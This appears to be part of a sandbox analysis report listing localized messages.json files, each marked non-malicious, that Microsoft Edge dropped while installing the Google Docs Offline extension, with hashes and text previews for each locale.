SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
